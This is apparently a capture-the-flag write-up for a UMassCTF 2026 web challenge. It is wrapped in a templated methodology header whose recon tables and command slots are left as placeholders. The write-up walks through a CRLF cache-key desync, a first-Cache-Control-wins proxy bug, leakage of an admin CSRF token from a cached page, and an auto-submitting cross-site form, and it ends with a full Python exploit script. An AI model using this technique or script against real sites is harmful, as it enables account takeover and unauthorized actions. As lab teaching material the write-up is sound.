Building Blocks Market
Building Blocks Market
Platform: Umasscybersec | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: admin_bot_form_autosubmit, cache_key_vs_upstream_path_desync, crlf_path_splitting, cross_site_top_level_form_post, csrf_token_leak_via_cache, first_cache_control_wins, host_scoped_cookie_cross_origin
Summary
Task: a Flask marketplace sits behind nginx and a custom Python cache proxy, while an authenticated Puppeteer admin bot reviews user-submitted URLs. Solution: abuse a CRLF-based cache key/path desync plus first-header-wins Cache-Control parsing to cache the admin submissions page, leak the deterministic admin CSRF token and pending submission id, then use a normal cross-site top-level form POST to approve the submission and unlock /flag.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umasscybersec| ID:20260411_umasscybersec_building_blocks_market - Tags: admin_bot, cache_deception, chromium, crlf_injection, csrf, flask, hmac_csrf_token, host_scoped_cookie, nginx, nginx_add_header_ordering, private_network_access, puppeteer, python_basehttp_proxy, samesite_bypass
- Indicators: cacheability is decided from the full path suffix, but the upstream path is split at %0d%0a, the proxy stores only the first Cache-Control header it sees, the admin renderer sets Cache-Control: public while nginx appends no-store later, the admin page embeds both the CSRF token and approve form actions, the CSRF token is deterministic for admin: hmac(secret, 'admin:<id>')
- Source:
20260411_umasscybersec_building_blocks_market.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_form_autosubmit
- Cache_key_vs_upstream_path_desync
- Crlf_path_splitting
- Cross_site_top_level_form_post
- Csrf_token_leak_via_cache
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_form_autosubmit
- cache_key_vs_upstream_path_desync
- crlf_path_splitting
- cross_site_top_level_form_post
- csrf_token_leak_via_cache
- first_cache_control_wins
- host_scoped_cookie_cross_origin
- Tags: admin_bot, cache_deception, chromium, crlf_injection, csrf, flask, hmac_csrf_token, host_scoped_cookie, nginx, nginx_add_header_ordering, private_network_access, puppeteer, python_basehttp_proxy, samesite_bypass
Original Writeup
<details><summary>Click to expand original content</summary>Building Blocks Market — UMassCTF 2026
Overview
This challenge is a great example of a multi-layer web exploit where every layer matters:
- a Flask marketplace backend
- an nginx reverse proxy
- a custom Python cache proxy in front of nginx
- a Flask admin renderer for moderation
- a Puppeteer admin bot visiting attacker-controlled URLs
The goal is to make any product public. Once at least one product has is_public=True, /flag returns the flag.
At first glance this looks like a standard admin-bot CSRF problem. It is not. The intended chain is a combination of:
- Cache deception through a CRLF-suffixed path,
- Broken
Cache-Controlhandling in the custom proxy, - Leakage of the admin CSRF token and pending submission id from a cached admin page,
- A cross-site top-level form POST that still carries the admin session cookie.
The flag pun is the whole challenge: do not mess with nginx and Chromium. You need both the nginx/header-ordering side and the Chromium/cookie-navigation side for the exploit to work.
Target behavior
The flag endpoint only checks whether any product has been approved:
@marketplace_bp.route('/flag')
@login_required
def flag():
has_public_listing = Product.query.filter_by(is_public=True).first() is not None
if not has_public_listing:
return "No flag for you :(", 200
return current_app.config.get('FLAG'), 200
So the real problem is: how do we force an admin approval?
Architecture
The deployed stack is effectively:
attacker/browser
|
v
cache_proxy:5555 ---> nginx ---> backend Flask
\-> admin Flask
bot (Puppeteer + Chromium)
- logs in as admin
- stores the admin session cookie for http://cache_proxy:5555
- visits submitted URLs
Two details matter immediately:
- The cache proxy is the public entry point,
- The admin bot authenticates specifically to
http://cache_proxy:5555.
That means if the bot causes something sensitive to be cached there, an external attacker can request the same cache key and recover it.
Root cause analysis
1) Cacheability is decided from the full path suffix
The cache proxy allows caching for some extensions, including .txt:
CACHE_EXTENSIONS = {".css", ".js", ".png", ".jpg", ".jpeg", ".ico", ".svg", ".txt"}
key = self.path.lower()
clean_path = re.split(r'%0d%0a', self.path, flags=re.IGNORECASE)[0]
This is the first bug.
keyis the entire raw request path.clean_pathis what gets forwarded upstream.%0d%0aacts as a delimiter for the upstream path, but not for the cache key.
So a request like:
/admin/submissions.html%0d%0arand.txt
behaves differently in two places:
- cache key:
/admin/submissions.html%0d%0arand.txt - upstream request:
/admin/submissions.html
This gives us a classic cache key / upstream path desynchronization primitive.
It is not request smuggling. Nothing fancy happens on the wire. The proxy simply uses one string for caching decisions and a different string for forwarding.
2) The proxy only respects the first Cache-Control
The cache proxy stores the first header value it sees for each header name:
if lname not in header_dict:
header_dict[lname] = value.lower()
Then it decides whether to skip caching based on that first Cache-Control.
That would already be suspicious, but nginx makes it exploitable.
3) The admin renderer says public, nginx appends no-store
For /admin, nginx adds a no-cache policy:
location /admin {
add_header Cache-Control "no-store, no-cache, must-revalidate";
proxy_pass http://admin:9999;
}
But the admin Flask app itself returns:
resp.headers['Cache-Control'] = 'public'
So the final response contains both headers, in this order:
Cache-Control: publicCache-Control: no-store, no-cache, must-revalidate
nginx is doing the right thing for its own model: it appends a header. The custom cache proxy is doing the wrong thing: it only remembers the first Cache-Control, which is public. As a result, the proxy caches a page that absolutely should never be cached.
4) The cached admin page leaks everything needed for approval
The admin submissions page renders approve forms and embeds the CSRF token directly in HTML:
<form method="post" action="{{ backend_url }}/approval/approve/{{ sub.id }}">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
</form>
The token is deterministic for admin:
secret = str(current_app.config.get('SECRET_KEY', '')).encode('utf-8')
msg = f"admin:{current_user.get_id()}".encode('utf-8')
return hmac.new(secret, msg, hashlib.sha256).hexdigest()
We do not need to forge it. We only need to see it once.
The approval endpoint then does exactly what we want:
if current_user.username != 'admin':
return "Unauthorized - only admin can approve", 403
if not _validate_csrf(form_token):
return "Invalid CSRF token", 400
product.is_public = True
So once we know:
- the pending submission id,
- the admin CSRF token,
we can make the bot approve our own listing.
Exploit chain
Step 1: create a normal product
Register, log in, and create any product. The product starts private.
Step 2: submit a cache-deception URL to the bot
Submit this kind of URL for admin review:
http://cache_proxy:5555/admin/submissions.html%0d%0a<random>.txt
Why this works:
- the bot visits the URL while authenticated as admin,
- the cache proxy sees a
.txtsuffix and considers it cacheable, - the proxy forwards only
/admin/submissions.htmlupstream, - the admin app returns the real moderation page,
- the proxy caches that privileged page under our attacker-chosen CRLF-suffixed key.
Using a random suffix avoids colliding with previous attempts.
Step 3: fetch the cached page ourselves
After the bot primes the cache, we request the same path externally:
/admin/submissions.html%0d%0a<random>.txt
Now we receive the cached admin HTML and can extract:
- the admin CSRF token,
- the pending submission id from
/approval/approve/<id>.
At this point the challenge becomes a CSRF problem, but now we actually have the correct token.
Why the form POST works
This is the second half of the challenge, and also where the biggest false lead came from.
The bot code sets the admin session cookie like this:
await page.setCookie({
name: 'session',
value: adminSession.split('=')[1],
url: BACKEND_URL,
httpOnly: true,
secure: false
});
with:
BACKEND_URL = http://cache_proxy:5555
Chromium is launched with:
args: ['--no-sandbox', '--disable-setuid-sandbox',
'--disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure']
That matters because:
- The cookie is host-scoped to
cache_proxy, - SameSite-by-default is disabled, so the cookie behaves like legacy unrestricted cookies,
- The attack uses a top-level navigation caused by a normal HTML form submission,
- Chromium 142 does not block this navigation with PNA in this setup.
So a public attacker page containing:
<form method="POST" action="http://cache_proxy:5555/approval/approve/1"> <input name="csrf_token" value="LEAKED_TOKEN"> </form> <script>document.forms[0].submit()</script>
is enough. When the bot opens that page, Chromium submits the form to http://cache_proxy:5555/... with the admin session cookie attached. The backend sees:
- authenticated admin session,
- valid CSRF token,
- our target submission id.
Result: the submission is approved and the product becomes public.
Dead ends and false leads
The hardest part of this challenge was not the cache leak. It was trusting the browser behavior.
| Dead end | Why it looked plausible | Why it was wrong |
|---|---|---|
| PNA blocks the cross-site POST | A first test used a cross-site form POST to /register and no new user appeared | That test was invalid because the bot was already authenticated as admin, so /register immediately redirected instead of creating a user |
| Popup retargeting tricks | If normal POSTs were blocked, browser-navigation tricks might have been needed | They were unnecessary once the /register test was understood correctly |
javascript: or DNS-based pivots | Useful in some admin-bot challenges when direct cross-site requests fail | The final exploit only needed a plain auto-submitting HTML form |
| CSRF token forgery | The token was deterministic HMAC-based | Leakage was easier than forgery because the admin page itself exposed the valid token |
The invalid /register test caused a false negative and sent the investigation in the wrong direction. Once that assumption was removed, the exploit simplified dramatically.
Real successful run
This was the successful flow:
[*] register bbm_wvzxrdx6
-> 302 /login
[*] login
-> 302 /marketplace
[*] create product
-> 302 /product/1
[*] submit cache-deception url: http://cache_proxy:5555/admin/submissions.html%0d%0avhw85i.txt
-> 302 /submission/success/1
[*] wait 12s for bot to prime the cache
[*] fetch cached key /admin/submissions.html%0d%0avhw85i.txt
-> 200 X-Cache= HIT len= 4792
[*] leaked csrf_token = e0858087452e9745bf41a5496fbc4c49296ac1794b87afe96d2ca1ab169869c9
[*] pending submission ids in cache: ['1']
[*] target submission id = 1
[*] restart attack host with approve form
[*] submit attack url to bot: http://bore.pub:6700/approve?r=gwiqzfb5
-> 302 /submission/success/2
[*] wait 12s for bot to execute form
[*] check submission status
-> 400 {"error":"Submission is not pending","status":"approved"}
[*] fetch flag
FLAG -> 200
UMASS{REDACTED}
The 400 during the status check is actually a success signal: the submission is no longer pending because it has already been approved.
Full exploit
The script below automates the full chain:
#!/usr/bin/env python3
import random
import re
import string
import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer
import requests
BASE_URL = "http://TARGET"
PUBLIC_HOST = "http://ATTACKER-HOST"
def randstr(n=8):
return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))
def extract_csrf(html):
m = re.search(r'name="csrf_token" value="([0-9a-f]{64})"', html)
if not m:
raise RuntimeError("csrf token not found")
return m.group(1)
def extract_pending_ids(html):
return re.findall(r'/approval/approve/(\d+)', html)
class ApproveHandler(BaseHTTPRequestHandler):
csrf_token = None
submission_id = None
def log_message(self, fmt, *args):
return
def do_GET(self):
body = f"""<!doctype html>
<html>
<body>
<form method="POST" action="http://cache_proxy:5555/approval/approve/{self.submission_id}">
<input type="hidden" name="csrf_token" value="{self.csrf_token}">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>""".encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def start_server(csrf_token, submission_id, host="0.0.0.0", port=8000):
ApproveHandler.csrf_token = csrf_token
ApproveHandler.submission_id = submission_id
httpd = HTTPServer((host, port), ApproveHandler)
t = threading.Thread(target=httpd.serve_forever, daemon=True)
t.start()
return httpd, f"{PUBLIC_HOST}/approve?r={randstr()}"
def submit_for_review(session, product_id, url):
data = {
"product_id": str(product_id),
"url": url,
}
r = session.post(f"{BASE_URL}/submission/create", data=data, allow_redirects=False)
if r.status_code != 302:
raise RuntimeError(f"submission failed: {r.status_code} {r.text[:200]}")
return r.headers.get("Location", "")
def main():
s = requests.Session()
username = f"bbm_{randstr()}"
password = "bbm_password"
print(f"[*] register {username}")
r = s.post(
f"{BASE_URL}/register",
data={"username": username, "password": password},
allow_redirects=False,
)
print(" ->", r.status_code, r.headers.get("Location"))
print("[*] login")
r = s.post(
f"{BASE_URL}/login",
data={"username": username, "password": password},
allow_redirects=False,
)
print(" ->", r.status_code, r.headers.get("Location"))
print("[*] create product")
r = s.post(
f"{BASE_URL}/product/create",
data={"name": "brick", "description": "brick", "price": "1"},
allow_redirects=False,
)
print(" ->", r.status_code, r.headers.get("Location"))
m = re.search(r'/product/(\d+)', r.headers.get("Location", ""))
if not m:
raise RuntimeError("product id not found")
product_id = int(m.group(1))
suffix = randstr(6)
poison_url = f"http://cache_proxy:5555/admin/submissions.html%0d%0a{suffix}.txt"
print(f"[*] submit cache-deception url: {poison_url}")
loc = submit_for_review(s, product_id, poison_url)
print(" -> 302", loc)
print("[*] wait 12s for bot to prime the cache")
time.sleep(12)
cache_path = f"/admin/submissions.html%0d%0a{suffix}.txt"
print(f"[*] fetch cached key {cache_path}")
r = s.get(f"{BASE_URL}{cache_path}")
print(" ->", r.status_code, "X-Cache=", r.headers.get("X-Cache"), "len=", len(r.text))
if r.status_code != 200:
raise RuntimeError("failed to fetch cached page")
csrf_token = extract_csrf(r.text)
pending_ids = extract_pending_ids(r.text)
if not pending_ids:
raise RuntimeError("no pending ids found")
submission_id = pending_ids[0]
print(f"[*] leaked csrf_token = {csrf_token}")
print(f"[*] pending submission ids in cache: {pending_ids}")
print(f"[*] target submission id = {submission_id}")
print("[*] restart attack host with approve form")
httpd, attack_url = start_server(csrf_token, submission_id)
print(f"[*] submit attack url to bot: {attack_url}")
loc = submit_for_review(s, product_id, attack_url)
print(" -> 302", loc)
print("[*] wait 12s for bot to execute form")
time.sleep(12)
print("[*] check submission status")
r = s.post(
f"{BASE_URL}/approval/approve/{submission_id}",
data={"csrf_token": csrf_token},
)
print(" ->", r.status_code, r.text[:200])
print("[*] fetch flag")
r = s.get(f"{BASE_URL}/flag")
print(" FLAG ->", r.status_code)
print(r.text)
httpd.shutdown()
if __name__ == "__main__":
main()
Why this challenge is neat
Each individual part is understandable, but the full exploit only appears when all of them are combined:
- a proxy makes cacheability decisions on one string and forwards another,
- nginx appends a security header instead of replacing one,
- a custom cache parser trusts the first header only,
- the admin page exposes a deterministic CSRF token,
- the bot's cookie model allows a normal cross-site form POST.
Miss any one of those and the exploit breaks.
That is why the flag name is so fitting:
UMASS{REDACTED}
The exploit depends on misunderstanding both of them.
Key indicators
Use this pattern when you see:
- cacheability based on suffix checks like
.txt,.css, or.js - path normalization or splitting that happens after the cache key is chosen
- multiple
Cache-Controlheaders crossing reverse-proxy layers - privileged HTML pages that inline CSRF tokens or action URLs
- admin bots with relaxed SameSite behavior or manually injected cookies
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR